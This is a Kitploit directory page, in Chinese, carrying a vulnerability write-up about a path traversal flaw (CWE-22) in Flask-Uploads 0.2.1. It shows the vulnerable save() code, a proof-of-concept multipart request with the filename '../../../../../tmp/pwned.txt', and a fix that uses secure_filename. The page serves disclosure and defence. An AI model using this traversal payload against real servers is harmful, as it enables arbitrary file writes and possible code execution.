Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-Pending-Flask-Uploads-Path-Traversal-PoC — CWE-22 路径遍历漏洞在 Flask-Uploads 0.2.1 中的演示。仅供教育和安全研究目的使用。已在 Python 3.11 上测试。 | Kitploit
工具/GitHubGitHub/nicetop1027/cve-2026-pending-flask-uploads-path-traversal-poc
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubnicetop1027/cve-2026-pending-flask-uploads-path-traversal-poc

CVE-2026-Pending-Flask-Uploads-Path-Traversal-PoC

CWE-22 路径遍历漏洞在 Flask-Uploads 0.2.1 中的演示。仅供教育和安全研究目的使用。已在 Python 3.11 上测试。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
2911天前尚未审核
分享

CVE-2026-XXXXX (Pending): Flask-Uploads中的路径遍历

漏洞信息

  • 产品:Flask-Uploads
  • 版本:0.2.1(以及可能更早的版本)
  • 漏洞类型:路径遍历(目录遍历)
  • CWE-ID: CWE-22
  • 严重性:高 (CVSS 7.5)
  • 影响:任意文件写入,远程代码执行 (RCE)

描述

在 Flask-Uploads 0.2.1 版本中存在一个严重的路径遍历漏洞。该库在将上传文件保存到文件系统之前,未能正确清理文件名。

具体来说,flask_uploads.py 中的 save() 方法直接使用 os.path.join() 将上传目标路径与用户提供的文件名拼接起来。这使得攻击者可以在文件名中包含目录遍历序列(例如 ../../),从而将文件写入服务器文件系统上的任意位置。

根因分析

文件:flask_uploads.py(v0.2.1 第 132 行)

def save(self, storage, filename=None):
    if filename is None:
        filename = storage.filename
    # VULNERABLE CODE: No sanitization of 'filename'
    target = os.path.join(self.destination, filename)
    storage.save(target)
    return filename

该库依赖开发者自行清理文件名,但库的文档暗示它能安全处理文件上传。默认情况下,如果开发者直接使用请求中的原始文件名,就会导致漏洞。

影响

  1. 任意文件覆盖:攻击者可以覆盖关键系统文件(例如 ssh_host_key、配置文件)。
  2. 远程代码执行 (RCE):通过将恶意脚本(如 .php、.py)上传到 Web 服务器执行的目录(如 cgi-bin 或已知静态文件夹),攻击者可以在服务器上执行任意命令。

概念验证 (PoC)

攻击者可以通过发送带有构造文件名的 POST 请求来利用该漏洞:

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain

HACKED
------WebKitFormBoundary--

如果服务器使用 Flask-Uploads 保存该文件,它将被写入 /tmp/pwned.txt 而不是预期的上传目录。

缓解措施 / 修复

该库应使用 os.path.abspath 和 startswith 验证拼接后的路径是否在目标目录内,或者始终使用 werkzeug.utils.secure_filename 等清理函数。

推荐修复:

from werkzeug.utils import secure_filename

# ...
filename = secure_filename(filename) 
target = os.path.join(self.destination, filename)
下载工具